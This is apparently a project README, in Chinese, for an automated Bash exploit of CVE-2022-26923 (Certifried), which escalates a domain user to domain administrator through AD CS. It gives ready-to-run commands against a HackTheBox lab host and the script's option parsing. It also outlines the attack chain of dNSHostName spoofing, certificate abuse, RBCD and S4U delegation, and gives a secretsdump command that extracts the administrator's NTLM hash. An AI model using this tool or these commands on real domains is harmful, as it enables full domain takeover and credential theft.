Certifried 自动化利用工具 (CVE-2022-26923) - AD CS 权限提升

0 阅读4分钟

Certifried 自动化利用工具 (CVE-2022-26923)

本项目提供了一个自动化 Bash 脚本,用于利用 CVE-2022-26923 (Certifried) 漏洞。该漏洞存在于 Active Directory 证书服务 (AD CS) 中,允许经过身份验证的域用户通过精心构造的证书请求,将低权限的计算机账户权限提升至域管理员级别。脚本通过自动化执行完整的攻击链,最终获取域管理员账户的 NTLM 哈希。

功能特性

  • 一键化漏洞利用:从创建恶意计算机账户到最终获取 NTLM 哈希,全程自动化。
  • CVE-2022-26923 核心利用:通过修改计算机账户的 dNSHostName 属性,欺骗证书颁发机构 (CA) 签发可用于模拟域控制器的证书。
  • 自动 RBCD 滥用:利用获取的证书进行身份验证,并自动配置基于资源的约束性委派 (RBCD),赋予指定账户委派权限。
  • Kerberos 委派链:自动执行 S4U2Self 和 S4U2Proxy 步骤,为高权限目标账户(如域管理员)请求服务票据。
  • NTLM 哈希提取:最后一步自动调用 Impacket 的 secretsdump.py,通过获取的票据导出目标账户的 NTLM 哈希。
  • 灵活的参数配置:支持通过命令行参数指定 Domain Controller IP、域名、用户凭据、CA 名称等关键信息。
  • 详细的执行过程:提供 --verbose 模式,可显示每一步执行的命令,便于理解和调试。

安装指南

系统要求

  • 运行 Linux 的机器(推荐 Ubuntu / Debian)
  • 能够与目标 Domain Controller 网络互通

依赖工具

该脚本依赖于以下 Python 工具和系统包,请确保它们已正确安装并可用:

  1. Impacket:提供 getST.pysecretsdump.py 等脚本。
    pipx install impacket
    # 或使用 pip3: pip3 install impacket
    
  2. certipy-ad:用于与 AD CS 交互,请求和认证证书。
    pipx install certipy-ad
    
  3. bloodyAD:用于修改 Active Directory 对象属性,例如设置 msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)。
    pipx install bloodyad
    
  4. OpenSSL:用于处理证书和密钥文件。
    sudo apt update && sudo apt install openssl -y
    

脚本安装

  1. 下载本项目中的 CVE-2022-26923.sh 脚本。
  2. 赋予其执行权限:
    chmod +x CVE-2022-26923.sh
    

使用说明

基础用法

最简运行方式是指定必要的 Domain Controller IP、域名、有效域用户及其密码。其他参数将使用脚本内建的默认值。

./CVE-2022-26923.sh -d <DC_IP> -D <DOMAIN> -u <USER@DOMAIN> -p <PASSWORD>

典型使用场景 (HackTheBox: Certified 机器示例)

以下命令演示了在 HTB "Certified" 机器上的典型利用方式:

./CVE-2022-26923.sh \
  -d 10.129.1.39 \
  -D certifried.htb \
  -u steven.murray@certifried.htb \
  -p 'Ch4ng3m3!' \
  --verbose

高级选项

可以通过更多参数对攻击过程进行精细控制,例如指定要创建的计算机账户名、证书模板、目标 CA 以及要模拟的账户。

./CVE-2022-26923.sh \
  -d 10.129.1.39 \
  -D certifried.htb \
  -u steven.murray@certifried.htb \
  -p 'Ch4ng3m3!' \
  -c "MYCONTROLLEDPC" \
  -C "P@ssw0rd123!" \
  -a "certifried-DC-CA" \
  -t "Machine" \
  -i "administrator"

命令选项概览

简短参数长参数描述默认值
-d--dc-ipDomain Controller 的 IP 地址10.129.1.39
-D--domain目标域名certifried.htb
-u--user有效域用户的 UPN (user@domain)steven.murray@certifried.htb
-p--pass该用户的密码Ch4ng3m3!
-c--comp-name要创建的计算机账户名PWNED
-C--comp-pass该计算机账户的密码Passw0rd!
-a--ca-name证书颁发机构 (CA) 的名称certifried-DC-CA
-t--template要使用的证书模板Machine
-f--pfx-file生成的证书文件名dc.pfx
-H--dc-hostnameDC 的主机名dc
-A--dc-accountDC 的账户名dc$
-i--impersonate要模拟的目标账户administrator
--verbose显示执行的每一条命令 (调试模式)关闭
-h--help显示帮助信息

预期输出

脚本成功执行后,你将看到:

  • 生成了一个包含目标管理员账户服务票据的 .ccache 文件(例如 administrator.ccache)。
  • secretsdump.py 成功运行,并在终端输出目标管理员账户的 NTLM 哈希。

如果后续需要手动使用获取的票据进行哈希转储,可以使用以下命令:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
  -just-dc-ntlm -just-dc-user administrator \
  certifried.htb/administrator@dc.certifried.htb \
  -k -no-pass -dc-ip 10.129.1.39

核心代码

1. 主脚本框架与参数解析

脚本开头定义了颜色变量和默认参数,并通过 getopts 风格的循环处理用户输入的命令行选项,将参数映射到内部变量。

#!/bin/bash
# ===== Couleurs =====
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
CYAN="\033[1;36m"
RESET="\033[0m"

# ===== Valeurs par défaut =====
COMP_NAME="PWNED"
COMP_PASS="Passw0rd!"
# ... 其他默认值

# ===== Parse options =====
while [[ $# -gt 0 ]]; do
    case "$1" in
        -d|--dc-ip) DC_IP="$2"; shift 2;;
        -D|--domain) DOMAIN="$2"; shift 2;;
        -u|--user) USER="$2"; shift 2;;
        -p|--pass) PASS="$2"; shift 2;;
        # ... 其他选项
        --verbose) set -x; shift;;  # 开启调试模式
        -h|--help) usage;;
        *) echo "Option inconnue: $1"; usage;;
    esac
done

2. 攻击链核心逻辑 (概念性流程)

虽然脚本主体是 Bash,但其核心逻辑是调用一系列外部工具来完成攻击。以下是注释中体现的攻击流程,清晰地展示了每一步的作用。

# 脚本内注释描述的攻击链
# Machine Account Creation   (1. 创建恶意机器账户)
#         ↓
# dNSHostName spoofing       (2. 通过 bloodyAD 修改其 dNSHostName 为 DC 的 FQDN)
#         ↓
# Certificate Request (Machine Template) (3. 使用 certipy 请求基于 Machine 模板的证书)
#         ↓
# Authentication via PFX      (4. 使用获得的证书 (PFX) 进行身份验证)
#         ↓
# RBCD abuse (bloodyAD)       (5. 利用 bloodyAD 设置 RBCD,允许恶意账户模拟任意用户访问 DC)
#         ↓
# S4U2Self + S4U2Proxy        (6. 使用 getST.py 触发 Kerberos 委派,为 administrator 请求 ST)
#         ↓
# Kerberos Ticket extraction  (7. 获得 administrator 的服务票据)
#         ↓
# NTLM dump via secretsdump   (8. 使用票据通过 secretsdump.py 导出 administrator 的 NTLM 哈希)

3. 关键利用点:修改 dNSHostName

漏洞利用的核心在于创建一个新的计算机账户,并将其 dNSHostName 属性修改为域控制器的完整主机名。这样,当该账户请求基于计算机(Machine)模板的证书时,CA 会错误地为其颁发一个能够模拟域控制器的证书。这一步通常由 bloodyAD 完成。

# 伪代码示例,展示核心修改操作
# bloodyAD 命令用于修改新创建计算机账户的 dNSHostName 属性
# 目标: 将新建的计算机账户 (PWNED$) 的 dNSHostName 设置为域控制器 (dc.certifried.htb) 的 FQDN
# bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" setObjectAttribute \
#    "CN=$COMP_NAME,CN=Computers,DC=$DOMAIN,DC=..." dNSHostName "['$DC_FULL_HOSTNAME']"

6HFtX5dABrKlqXeO5PUv/yAFAkuknGlp90FAUKIBhSA=